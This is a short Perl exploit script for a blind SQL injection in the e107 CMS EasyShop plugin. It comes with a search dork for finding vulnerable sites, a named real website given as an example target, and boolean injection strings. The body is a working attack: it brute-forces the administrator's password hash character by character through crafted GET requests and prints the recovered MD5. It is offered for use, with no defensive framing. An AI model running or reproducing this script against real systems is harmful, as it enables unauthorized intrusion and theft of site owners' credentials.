#!/usr/bin/perl # ------------------------------------------------------------ # e107 (Plugin EasyShop) Remote Blind SQL Injection Exploit # By StAkeR[at]hotmail[dot]it # Dork allinurl: e107_plugins/easyshop/easyshop.php # Example http://www.clan-designs.co.uk # easyshop/easyshop.php?choose_category=1&category_id= or 1=1 # easyshop/easyshop.php?choose_category=1&category_id= and 1=2 # ------------------------------------------------------------ use strict; use warnings; use LWP::UserAgent; use URI::Escape; my ($request,$send,$ord,$hash,$uid) = (undef,undef,undef,undef,1); my $host = shift @ARGV or die "[?] Usage: perl $0 http://[host]\n"; my @chars = (48..57, 97..102); my $http = new LWP::UserAgent; for(0..32) { foreach $ord(@chars) { $send = " or ascii(substring((select user_password from e107_user where user_id=1),$uid,1))=$ord/*"; $send = uri_escape($send); $request = $http->get($host."/e107_plugins/easyshop/easyshop.php?choose_category=1&category_id=-1".$send); if($request->is_success and $request->content !~ /No products available/i) { $hash .= chr($ord); $uid++; } } } if(defined $hash) { print STDOUT "[+] MD5: $hash\n"; exit; } else { print STDOUT "[?] Exploit Failed!\n"; exit; }